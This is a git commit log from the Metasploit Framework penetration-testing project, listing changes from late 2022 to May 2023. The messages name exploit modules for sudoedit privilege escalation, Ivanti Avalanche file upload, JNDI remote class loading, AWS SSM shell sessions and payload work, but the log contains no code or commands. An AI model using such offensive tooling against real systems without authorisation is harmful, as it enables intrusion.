Grant Willcox 5ded2adfb5 Add in code initial code to start supporting JNDI loading of remote classes, currently a bit broken though 2023-05-24 13:17:47 -05:00
Grant Willcox d00d339de5 Initial copy with JNDI connection back to LDAP server. 2023-05-24 13:17:47 -05:00
RadioLogic 1c57019096 Merge branch 'master' into vsftpd_232 2023-05-24 10:58:22 -04:00
RadioLogic 9c58289b21 Added container info in documentation 2023-05-24 10:54:31 -04:00
RadioLogic 0aee634d67 Put authors on separate lines 2023-05-24 10:48:31 -04:00
attl4s 240fd65d0c module, not exploit 2023-05-24 16:30:38 +02:00
attl4s 623657b072 Logontype changed to OptEnum + better meterpreter session requirement check 2023-05-24 16:28:56 +02:00
attl4s 42ef5ad322 remove TLV_TYPE_TOKEN_UPDATE_RESULT - update_token sends empty response when succeeds 2023-05-24 16:12:12 +02:00
attl4s 3a685849a8 add update_token bridge + make_token module 2023-05-24 10:33:52 +02:00
vtoutain b327809450 Changes regarding auxiliary modules
Changed back some modifications of includes and functions definitions that were related to exploit modules.
2023-05-24 09:28:41 +02:00
vtoutain e542c50154 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-24 09:26:03 +02:00
Spencer McIntyre ed5d516c21 Sync the .NET working path for Powershell sessions
See: https://github.com/PowerShell/PowerShell/issues/10278
2023-05-23 15:21:52 -04:00
Spencer McIntyre afb31b0f21 Add a function to escaple cmd.exe string literals 2023-05-23 15:17:39 -04:00
Grant Willcox e749945b01 Land #18009, Clearing http web data service credentials in msfconsole 2023-05-23 12:15:52 -05:00
Metasploit 5189c7af83 automatic module_metadata_base.json update 2023-05-23 08:57:43 -05:00
Spencer McIntyre 9e38ed4459 Land #17929, Linux sudoedit LPE (CVE-2023-22809)
Linux sudoedit priv esc (CVE-2023-22809)
2023-05-23 09:30:18 -04:00
cgranleese-r7 3e327efdc4 Fixes validation for to_hanler command for Evasion and Payload modules 2023-05-23 10:16:06 +01:00
Spencer McIntyre 120dc877ad Pr/collab/17430 (#41)
* Prevent using post modules with the session

It doesn't work reliably because of winpty and how the output is
mangled.

* Set the limit correctly

* Fix Linux PTY downgrade issues

* Remove filtering

The filtering implementation is incomplete and unnecessary.

Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.

The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.

* Add module docs for enum_ssm
2023-05-22 17:11:16 -04:00
sfewer-r7 0205bb36d3 change ranking to GreatRanking as stability is CRASH_SERVICE_RESTARTS 2023-05-22 20:09:11 +01:00
adfoster-r7 f89de600be Land #18015, remove dead link from wiki 2023-05-22 18:44:09 +01:00
sfewer-r7 6b101b5a4d make rubocop happy 2023-05-22 18:03:58 +01:00
adfoster-r7 1eb6996ea5 Land #17989, Improves flag formatting for kerberos ticket presenter 2023-05-22 17:42:10 +01:00
Tom Kelley 4dcfe0a1cf Remove dead link 2023-05-22 09:38:36 -07:00
Metasploit d9cbe065ce automatic module_metadata_base.json update 2023-05-22 10:15:11 -05:00
space-r7 60f6574bf3 Land #17965, add module for AD CS cert management 2023-05-22 09:50:53 -05:00
dwelch-r7 e27a08a073 Land #18010, Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-22 15:44:33 +01:00
Spencer McIntyre 0a3247f1a7 Add documentation 2023-05-22 10:29:03 -04:00
Spencer McIntyre e3823691a1 Add module for AD CS template CRUD operations 2023-05-22 10:28:58 -04:00
Grant Willcox ae430ff3db Land #18013, Exclude IDE development collateral from Gemspec 2023-05-22 09:03:10 -05:00
Jeffrey Martin 5a96979363 exclude IDE development collateral from gemspec 2023-05-22 08:28:23 -05:00
Spencer McIntyre 8258657a45 Add the ESC1 certificate template 2023-05-22 09:21:24 -04:00
Spencer McIntyre a88751167b Add specs for .from_sddl_text 2023-05-22 09:21:24 -04:00
Spencer McIntyre ff4fafda2f Add support for parsing SDDL 2023-05-22 09:21:24 -04:00
Spencer McIntyre 3af052390d Add well known SID and RID constants 2023-05-22 09:21:24 -04:00
Spencer McIntyre 49fd6e876a Add constants from MS-CRTD 2023-05-22 09:21:24 -04:00
Spencer McIntyre 1ffefcbea4 Treat the subauthority as optional
This allows some additional SIDs to function such as
SECURITY_CREATOR_SID_AUTHORITY.
2023-05-22 09:21:24 -04:00
Spencer McIntyre d23f407c44 Monkey patch #modify to accept controls 2023-05-22 09:21:24 -04:00
Spencer McIntyre dcbc6d19c5 Update #validate_query_result!
The function required a filter argument, but not every query has a
filter. By removing it, we can reuse the same logic for other operations
including modifications.
2023-05-22 09:21:20 -04:00
RadioLogic f1468a83ed Added forgotten end 2023-05-21 13:40:52 -04:00
RadioLogic 7a9f13c960 Added option to remove sudoers check 2023-05-21 12:18:32 -04:00
RadioLogic 4b3d6b59cc Replaced fail_with with raised error 2023-05-21 12:10:18 -04:00
RadioLogic dc11d818aa Corrected failwith statement 2023-05-21 00:37:00 -04:00
RadioLogic 3dc9438b3a Added firmware version to documentation 2023-05-21 00:33:33 -04:00
RadioLogic 33e59a291e Added check for user 2023-05-21 00:26:18 -04:00
RadioLogic e0e214e241 Merge branch 'master' into useradd 2023-05-20 18:21:18 -04:00
RadioLogic ed026e52eb Fixed echo option so sudo would work 2023-05-20 18:14:46 -04:00
RadioLogic fffc7f514d Fixed issue with description 2023-05-19 15:24:53 -04:00
RadioLogic c42905fe92 Updated description 2023-05-19 13:45:45 -04:00
RadioLogic d07f2ed633 Set default method to sudo 2023-05-19 13:45:11 -04:00
RadioLogic b077167d73 Redesigned to not use exectuable at all 2023-05-19 13:34:12 -04:00
RadioLogic a8fd4e7aba Renamed to adduser for consistency 2023-05-19 13:31:55 -04:00
adfoster-r7 9dd10d6df7 Fix edgecase crash when running smb_login with Kerberos auth activated 2023-05-19 16:12:16 +01:00
cgranleese-r7 8d131f0a95 Updates the msfdb prompts for webservice 2023-05-19 12:57:35 +01:00
Metasploit 428229aede Bump version of framework to 6.3.18 2023-05-18 12:10:55 -05:00
Metasploit 61569a0b2e automatic module_metadata_base.json update 2023-05-18 11:43:04 -05:00
Spencer McIntyre f464401dde Land #17782, Add fetch payloads
Add http wget cmd based fetch payload for Linux and Windows
2023-05-18 12:18:27 -04:00
cgranleese-r7 de6e26de8e Land #18006, Fix error when msfconsole opens browser links without a display present 2023-05-18 16:56:29 +01:00
bwatters 548a2d7ab4 Add fetch payloads for Windows and Linux x64 2023-05-18 10:47:29 -05:00
cgranleese-r7 26daa65c58 Land #18005, Fix crash when running a module through socks 4a proxy 2023-05-18 13:25:33 +01:00
adfoster-r7 39f4ccd9f9 Fix error when msfconsole opens browser links without a display present 2023-05-18 10:29:22 +01:00
adfoster-r7 3e32c0e22d Fix crash when running a module through socks 4a proxy 2023-05-18 10:25:56 +01:00
Metasploit 4df7551759 automatic module_metadata_base.json update 2023-05-17 19:11:48 -05:00
space-r7 6c88e85d02 Land #17993, add invscout RPM privesc 2023-05-17 18:56:42 -05:00
Grant Willcox 2c0dc61bd2 Land #17991, Add config for Solargraph to aid IDEs 2023-05-17 16:10:44 -05:00
Grant Willcox d4b9473294 Ignore .solargraph.yml config file 2023-05-17 15:03:05 -05:00
RadioLogic 21273648a4 Fixed response using double quotes 2023-05-17 12:39:02 -04:00
RadioLogic 6882a7cc60 Shortened payload to be readable 2023-05-17 12:05:40 -04:00
RadioLogic 62f48c5933 Updated vsftpd_232 documentation 2023-05-17 12:01:59 -04:00
RadioLogic ab0b8b8274 Ran msftidy on module 2023-05-17 11:48:09 -04:00
cgranleese-r7 73a33a9f73 Addresses PR feedback 2023-05-17 16:45:15 +01:00
RadioLogic 775173381c Made progress show in dots rather than status 2023-05-17 11:44:37 -04:00
RadioLogic 9c888da5cb Reverted from threading as payload finally works 2023-05-17 11:43:50 -04:00
RadioLogic 49e7c2459f Fixed payload to properly function 2023-05-17 11:40:29 -04:00
RadioLogic 9a732a881b Improve module description
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:09:25 -04:00
RadioLogic 789646dd65 Use better failwith lines
Co-authored-by: bcoles <bcoles@gmail.com>
2023-05-17 08:08:59 -04:00
bcoles 0bc1fdf51d Add invscout RPM Privilege Escalation 2023-05-17 20:17:55 +10:00
RadioLogic 10dd1b8906 Updated scenarios for vsftpd_232 2023-05-17 00:44:46 -04:00
RadioLogic 6a846c2c94 Added stub since stopping doesnt exist 2023-05-17 00:44:18 -04:00
RadioLogic e1a9f61ad9 Added documentation to scanner module 2023-05-17 00:00:00 -04:00
RadioLogic f15c9a0bbb Added cmd useradd payload 2023-05-16 23:16:54 -04:00
RadioLogic 4f70be41ae Removed lib include line as it became redundant 2023-05-16 23:02:55 -04:00
RadioLogic 0bf5746bde Added recommended folders to config 2023-05-16 18:25:37 -04:00
RadioLogic 6fdc86db19 Set max files to 0 2023-05-16 18:25:07 -04:00
h00die 2ca5ca1f63 stronger grep 2023-05-16 16:18:14 -04:00
RageLtMan f929d2c90f Drop redundant shell_command in powershell.rb 2023-05-16 15:43:16 -04:00
RageLtMan 713ec6ae76 Merge branch 'master' into feature/aws_ssm_sessions 2023-05-16 14:39:37 -04:00
Metasploit 571e3d5e99 automatic module_metadata_base.json update 2023-05-16 09:35:29 -05:00
cgranleese-r7 82bf51647d Improves flag formatting for kerberos ticket presenter 2023-05-16 15:25:36 +01:00
Grant Willcox 459cf871cb Land #17979, Add exploit for Ivanti Avalanche file upload - CVE-2023-28128 2023-05-16 09:19:33 -05:00
h00die 6bee4f56d9 updates from review 2023-05-13 15:49:11 -04:00
Grant Willcox 560fc9000b Fix up checks on responses to make sure they are more robust checks 2023-05-12 16:08:47 -05:00
Grant Willcox ea988f0c78 Add more documentation on how to set the target up based on my own experience and so that we have a backup in case the link to external documentation breaks 2023-05-12 14:27:39 -05:00
Grant Willcox 3b2d23eeae Fix up check method, unduplicate fail_with messages to make them unique, and add @cleanup_needed so we can check if cleanup is needed to avoid unnecessary messages when just checking if the target is vulnerable or not 2023-05-12 14:14:40 -05:00
RadioLogic b7b1df23ea Implemented threading into module 2023-05-12 14:28:10 -04:00
RadioLogic 04e6bf804f Made stability involve service down 2023-05-12 14:27:58 -04:00
RadioLogic 0e9060e295 Added documentation for module 2023-05-12 14:27:12 -04:00
Metasploit 3c0222d7d0 automatic module_metadata_base.json update 2023-05-12 13:16:50 -05:00
adfoster-r7 f40a2e8dbc Land #17990, ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-12 19:03:22 +01:00
adfoster-r7 c723a2865e Land #17987, Split recalculate out into multiple functions 2023-05-12 18:27:46 +01:00
RadioLogic 2e5b38e718 Merge branch 'master' into solargraph 2023-05-12 13:02:36 -04:00
Dean Welch 3036a53697 Change name to single_name for consistency 2023-05-12 16:59:33 +01:00
Dean Welch f6855f6aa4 Split recalculate out into multiple functions 2023-05-12 16:30:14 +01:00
RadioLogic f46967e2c4 Added config for solargraph to aid IDEs 2023-05-12 11:29:32 -04:00
bcoles 004a72c32e ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations 2023-05-13 01:27:53 +10:00
dwelch-r7 b752735db1 Land #17967, Fix ruby 3.1 crashes and resource leaks when garbage collecting Meterpreter resources 2023-05-12 14:14:02 +01:00
Grant Willcox cf5f90ac4f Minor updates to documentation to tidy things up a bit 2023-05-11 16:48:16 -05:00
space-r7 722de33b6f address feedback, use cleanup to restore path
fix bug where if config restore failed, module would
output that it was both a failure and a success
add akb topic as reference
2023-05-11 13:20:25 -05:00
Metasploit 20ac531254 automatic module_metadata_base.json update 2023-05-11 13:11:32 -05:00
adfoster-r7 ff1331c11b Land #17985, fix typo in sticky_keys.rb 2023-05-11 18:50:18 +01:00
Edmond Major III d24f5873bd Update sticky_keys.rb
Persistance -> Persistence 

Fix a small typo
2023-05-11 12:22:54 -05:00
Metasploit 484639a2e0 Bump version of framework to 6.3.17 2023-05-11 12:13:25 -05:00
catatonicprime a445b07233 removing unnecessary call to payload_uri 2023-05-11 16:35:53 +00:00
Shelby Pace 131f2519bc Update modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-11 10:48:48 -05:00
Spencer McIntyre d8dd9bbe79 Move the publish timeout logic (#40)
This makes it accessible from enum_ssm so Linux sessions can be opened.
2023-05-11 09:58:16 -04:00
catatonicprime c43eaf86bc Adding documentation. 2023-05-11 05:09:35 +00:00
catatonicprime d50bd24c2f Adding config cleanup. 2023-05-11 04:57:57 +00:00
catatonicprime cb2c6a7d80 Prevent bypass_auth from being called twice when AutoCheck is true 2023-05-11 00:34:47 +00:00
Grant Willcox 9f6a1c18a1 Minor updates to fix URLs, disclosure date, description, and minor gramatical things 2023-05-10 18:22:00 -05:00
Spencer McIntyre e92695149d Fix linux tests, remove Windows support (#39)
* Revert "shell_command_token_base get 0th output index"

This reverts commit 3a4cb3560f.

* Correct the order of arguments to #set_term_size

* Fix paths for directory checks

The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.

* Fix post module tests for Linux

* Remove the command document

This hasn't been tested and it's unclear under what conditions this
would be used.

* Fix Windows SSM sessions

---------

Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
2023-05-10 17:48:53 -04:00
vtoutain e742df1c33 Rubocop warning fix 2023-05-10 16:18:33 +02:00
space-r7 e514de9aef add comment about jsf substitution 2023-05-10 09:13:01 -05:00
vtoutain cfea6530a1 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-10 11:59:46 +02:00
vtoutain d50993cd80 reviews from cdelafuente-r7
Used the AutoCheck mixin, removed the exploit function that was mileading, removed the hardcoded HttpTimeout, and refactored some code portions.
2023-05-10 11:59:09 +02:00
vtoutain daee69e1d0 Fix msftidy errors 2023-05-10 11:55:50 +02:00
catatonicprime c5b0bc68d7 Improved automatic targeting, tested back to major version 14 2023-05-09 23:44:46 +00:00
catatonicprime eff189f221 Ensuring csrf_token is initialized. 2023-05-09 23:43:56 +00:00
catatonicprime 43564b5267 Removing unneeded features/options. 2023-05-09 23:43:30 +00:00
space-r7 d60843f0eb name versions that are vulnerable 2023-05-09 09:16:42 -05:00
space-r7 08a79a2f4e add documentation 2023-05-08 17:42:23 -05:00
space-r7 d1e3ce1183 add Ivanti Avalanche file upload 2023-05-08 17:41:52 -05:00
Y1Daa d8beb8cfef fix nessus_db_import & nessus_scan_export bugs 2023-05-07 21:27:50 +08:00
catatonicprime c69ca39748 consistent indenting 2023-05-06 05:07:59 +00:00
catatonicprime 0448d408ea Match wording from "How to write a module using HttpServer and HttpClient" on docs.metasploit.com 2023-05-06 04:58:50 +00:00
catatonicprime af3c482acd heh, I probably should have tested that too 2023-05-06 04:55:23 +00:00
catatonicprime e37e506fe2 heh, I probably should have tested this 2023-05-06 04:37:43 +00:00
space-r7 f04dababa2 add upload code 2023-05-05 18:59:46 -05:00
h00die e692e927dc review fixes 2023-05-05 16:43:47 -04:00
catatonicprime f27648799b Adding original ZDI reference. Minor formatting changes. 2023-05-05 18:19:53 +00:00
Catatonic Prime 5f12f0e0ba Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-05 11:07:08 -07:00
adfoster-r7 069ad805c1 Fix ruby 3.1 crashes when garbage collecting meterpreter resources 2023-05-05 14:04:17 +01:00
space-r7 9fa0dac56c add login and path change methods 2023-05-04 18:03:02 -05:00
jvoisin 3b66b3416f Golf a bit the php payload
- Put all the error-disabling statements on a single line
- Remove some useless spaces
- Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))`
- Use `&&` instead of `and`
- Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php
2023-05-04 22:25:32 +02:00
Jeffrey Martin 2059505ccd improve login attempt guards
* tighted up rescue to catch individual attempt exceptions
* remove general rescue in SNMP
* ensure SNMP socket is released
2023-05-03 09:15:14 -05:00
h00die 95562e04aa sudoedit work 2023-05-02 18:39:59 -04:00
Jeffrey Martin 152f9460f9 rescue login scanner attempts
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
2023-05-02 15:43:57 -05:00
Christophe De La Fuente f5b1b96d9a Fix rubocop issues 2023-04-28 16:09:57 +02:00
Christophe De La Fuente 62806caeae Update web_delivery 2023-04-28 16:09:51 +02:00
RageLtMan 867902e7d0 SSM start/stop publication 2023-04-28 09:00:37 -04:00
bcoles 71f938682c Post::Windows::Service: Support start/stop service on shell sessions 2023-04-28 18:44:11 +10:00
catatonicprime 97a76e3883 linting changes. removing unnecessary success checks. 2023-04-28 00:07:47 +00:00
catatonicprime 4ba8d62d88 Removing unused documentation 2023-04-28 00:02:37 +00:00
catatonicprime c0be991ed8 removing superfluous options 2023-04-28 00:00:57 +00:00
catatonicprime 12f7134cc6 generating payloads on the fly is what we wanted originally 2023-04-27 19:38:12 +00:00
catatonicprime 16ae6b71f4 Use the generated payload as is. 2023-04-27 15:21:21 +00:00
catatonicprime feec15a482 full_uri has what we need for the origin header 2023-04-27 15:07:15 +00:00
catatonicprime 0be38eb3ab method should do one thing and do it well 2023-04-26 19:32:57 +00:00
catatonicprime 5e93669d75 Enable AutoCheck 2023-04-26 19:28:56 +00:00
catatonicprime 9f6fe964e2 bypass_auth returns the anti-csrf token and vprints active session on success 2023-04-26 18:28:02 +00:00
catatonicprime 8694beebd1 Removing unnecessary search. 2023-04-26 18:17:46 +00:00
catatonicprime 0cf5f4cacc More accurate list of side effects. 2023-04-26 16:55:13 +00:00
catatonicprime bcafd22997 Better defaults pattern for TARGETURI. 2023-04-26 16:54:19 +00:00
catatonicprime 8c87660eaa Explicit stance. 2023-04-26 16:53:04 +00:00
catatonicprime 22238a0860 Adding references. 2023-04-26 16:52:26 +00:00
h00die d454b2e195 cve-2023-22809 2023-04-25 20:54:48 -04:00
catatonicprime 8a9871f0d8 Default to a java payload. 2023-04-25 23:57:05 +00:00
catatonicprime a229a0ed86 If you are receiving 200, that is hard-evidence of bypass. Also Fix typo. 2023-04-25 23:34:04 +00:00
catatonicprime 17271f1046 Adding documentation, expanding failure cases. Always struggle in the last mile. Here we go. 2023-04-25 23:00:33 +00:00
catatonicprime 1a823b05f1 Serve jar file for exploit. 2023-04-25 18:36:44 +00:00
h00die e7725e7b6d cve-2023-22809 2023-04-25 04:37:33 -04:00
vtoutain 3036b607b6 JSON output support
Added the prettyfied JSON output along with the CSV, refactored variables regarding the JSON contacts object.
2023-04-24 11:50:29 +02:00
vtoutain df6c2bf7eb Documentation update
Modified the layout according to reviews, updated scenarios output, and added the JSON example output.
2023-04-24 11:47:21 +02:00
vtoutain e565a8f962 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-24 11:44:52 +02:00
catatonicprime 20109932fd Command injection PoC working. 2023-04-23 15:30:23 +00:00
RageLtMan 3a4cb3560f shell_command_token_base get 0th output index 2023-04-22 18:00:44 -04:00
RageLtMan d797e5ec2c Simplify SSM shell output filtering 2023-04-22 17:18:21 -04:00
RageLtMan 5132302363 Filter control bytes from SSM output 2023-04-22 15:22:18 -04:00
RageLtMan 5b94077421 Merge remote-tracking branch 'origin/pr/38' into feature/aws_ssm_sessions 2023-04-22 15:20:46 -04:00
bcoles 538381bd4d shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-04-22 15:44:56 +10:00
catatonicprime 253f4e54bc rough pseudo-coding 2023-04-21 03:53:03 +00:00
vtoutain d6e921c414 Version regex fix
The previous fix was not matching numbers at the end of the version like "-rc2".
2023-04-20 16:20:40 +02:00
vtoutain ea9019600a Version regex update
Used a less greedy version of the regex based on reviews, as well as the `version.blank?` pattern for improved readability.
2023-04-20 16:00:24 +02:00
vtoutain ecd56c7904 Check logic simplification
Moved most of the check logic inside the check function to make it easier to read.
2023-04-20 11:51:28 +02:00
Spencer McIntyre 2e3a2b6f6d Combine AWS SSM modules, autodetect platform 2023-04-19 18:05:50 -04:00
Spencer McIntyre 59b3c0e945 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-19 18:05:50 -04:00
Spencer McIntyre a7d8bc6757 Fix sessions opening over and over again
Also make some code cleanups
2023-04-19 18:05:50 -04:00
Spencer McIntyre 15ff4875bc Combine AWS SSM modules, autodetect platform 2023-04-19 17:58:59 -04:00
vtoutain a2f3a719a9 Fixes from code reviews
Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block.
2023-04-19 11:45:03 +02:00
vtoutain d875741c87 Fixed documentation typos 2023-04-19 11:43:08 +02:00
vtoutain 35c7d3918d Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-19 11:24:37 +02:00
Spencer McIntyre d8c8255120 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-18 14:07:04 -04:00
Spencer McIntyre 8ac5ae2a68 Fix sessions opening over and over again
Also make some code cleanups
2023-04-18 12:24:00 -04:00
vtoutain e4ae9e0997 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-18 11:37:13 +02:00
dsecbypass 413082a4d6 Linting
Simplified version regex, fixed rubocop findings.
2023-04-18 11:24:14 +02:00
dsecbypass a05aae3ebe Support remote database storage
It's better to pass the CSV string to store_loot directly instead of using nil and writing to the local file path ourself.
2023-04-17 17:24:59 +02:00
dsecbypass 3b710293f5 Dolibarr 16 unauthenticated contact database dump
Auxiliary module and documentation.
2023-04-17 14:52:05 +02:00
Arthur RAOUT 4ecf222c95 add iquote join() for x64 2023-03-16 11:21:03 +01:00
Arthur RAOUT 5a1fdbab50 revert newline 2023-03-15 21:00:13 +01:00
Arthur RAOUT 58951196bc Merge branch 'fix_mingw_includes' of github.com:araout42/metasploit-framework into fix_mingw_includes 2023-03-15 20:58:56 +01:00
Arthur RAOUT 3d3e3195a3 fix 1 eol space 2023-03-15 20:58:42 +01:00
Professor Araout 351b62cca6 Merge branch 'rapid7:master' into fix_mingw_includes 2023-03-15 20:55:36 +01:00
Arthur RAOUT f73249f709 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:54:27 +01:00
Arthur RAOUT 028cc8a909 Added changes to mingw.rb to allow custom iquote include dirs 2023-03-15 20:53:57 +01:00
Aaron Meese 0a6ac589e4 Update modules/auxiliary/scanner/http/rpyc_rce.py
Renames `system` function to `remote_system`

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-03-09 15:55:51 -07:00
Joshua Rogers 0f5f495108 Add default locations for the Jenkins home directory, and add an optional value that a user can suggest the home directory. 2023-02-22 03:56:54 +01:00
ajmeese7 a2026182e1 feat: created module to exploit CVE-2019-16328 2023-02-19 16:03:05 -05:00
RageLtMan 153f950f11 Add AwsSsmCommandShellBind session type
Create an AwsSsmCommandShellBind session type to provide intercept
points for shell command interactions and a wrapper class which is
used to register the new session.

Update Msf::Handler::BindAwsSsm with its own #create_session method
utilizing the new session type to provide direct control of session
initialization.

Restore standard handler attributes and thread nomenclature in an
attempt to resolve the repeating session creation when #to_handler
is called on the payloads.

Testing:
  Tested in local framework, unfortunately the recurring session
init problem appears to persist. Requesting testing on an upstream
Framework by saner folks.
2023-02-04 20:57:26 -05:00
RageLtMan 7e19141dfc Standardize DS names and set OS platforms
Update SSM handler code to standardize datastore option names per
@zeroSteiner.
Update payload modules to reflect the OS targets against which they
are to execute.
2023-02-04 19:41:40 -05:00
Spencer McIntyre 687e82a9ed Satisfy rubocop 2023-02-03 15:29:19 -05:00
Spencer McIntyre 61c2726620 Fix NoMethodError for #opcode 2023-02-01 18:19:46 -05:00
RageLtMan 27d6a89b99 Use keepalive in SSM aux module 2023-01-21 09:26:06 -05:00
RageLtMan 453baca109 Drop mask_write, tweak logging 2023-01-21 08:29:28 -05:00
RageLtMan 589c2257e3 Implement reporting and pretty output 2023-01-20 23:17:34 -05:00
RageLtMan 3e54ae6e69 Resolve crashes noted by @smcintyre-r7, simplify
Bail out of console resize operation if ::IO.console doesn't exist
Enforce REGION datastore option and remove the multi-region enum
code by Aaron - users can write resource scripts if they need
automation.
2023-01-20 22:33:51 -05:00
Jeffrey Martin 99b2e1d709 add aws ssm gem to lock file 2023-01-13 09:59:05 -05:00
RageLtMan 14f992aa88 Address some of @smcityre-r7's comments
Explicitly `require 'aws-sdk-ec2'` in the aux module
Fix the hard-coded region to use datastore option
2023-01-13 09:55:51 -05:00
RageLtMan 274bf6dcb7 Make SSM keepalive optional 2023-01-13 09:54:34 -05:00
RageLtMan 60c2f0a480 SSM enumeration module filter and throttle
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.

Testing:
  Finds limtied sets of systems and initiates sessions
  Finds desired system ID and initiates session
2023-01-03 22:00:14 -05:00
RageLtMan 955fb2ef3e SSM WebSocket session keep-alive
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.

Testing:
  Sessions established with this code running have not timed-out
in over 15m despite being completely unused
2023-01-03 21:20:07 -05:00
RageLtMan eba4c4b047 Spoonfeed the skiddies: auto-sessions for SSM enum
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.

Testing
  Tested execution - finds systems, gets shells, autopwn-capable
2023-01-03 20:40:30 -05:00
RageLtMan 7666b30b82 Rudimentary enumeration module for EC2+SSM
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.

Testing:
  None - might eat your monitor lizard
2023-01-03 17:09:55 -05:00
RageLtMan 46c030a08b Finalize SSM Shell via WebSocket
Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)

Testing:
  Verified console resizing, color/reset/etc
  Verified peerinfo and interaction
  Verified common session operations

Notes:
  SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
2023-01-03 15:10:31 -05:00
RageLtMan 43d746c404 Implement SSM WebSocket Sessions
Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.

Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.

Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.

Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.

This new session type removes the 2500 char output restriction and
stateless peer cwd.

Testing:
  Execution of handler now provides stateful interactive shells

Next steps:
  More testing, preferably by other people with upstream framework.
  Peerinfo and presentation updates for the session channel
  Misc cleanup

Future work:
  Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
  Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
2023-01-03 09:34:14 -05:00
RageLtMan c733dbc906 Start processing AWS SSM WebSocket session frames
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.

Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.

Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.

Testing:
  Verified acquisition of SSM WS frame and relevant field ops

Next Steps:
  Create WS loop to abstract shell communications
  Wrap in Rex*Abstraction bowties for the session handler
  Test -> ? -> Profit
2023-01-01 11:21:32 -05:00
RageLtMan cfc24f138a Implement SSM WebSocket init/auth
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.

Testing:
  The initialized WebSocket is kept open and returns wsframes when
requested.

Next steps:
  Port the various data structures from the JavaScript library
  Implement encoding & decoding for their wire-level formats
  Implement state management and data flow handling logic for
the WS SSM protocol.
2022-12-31 20:46:19 -05:00
RageLtMan 9850534d55 Initial WebSocket connection wrapper
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.

Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.

Testing:
  Gets the same kind of command-abstracted session as before
  Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.

Next steps:
  Figure out data frame structures for handshake and console IO
  Implement handshake on-init, validate state
  Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
2022-12-31 19:05:06 -05:00
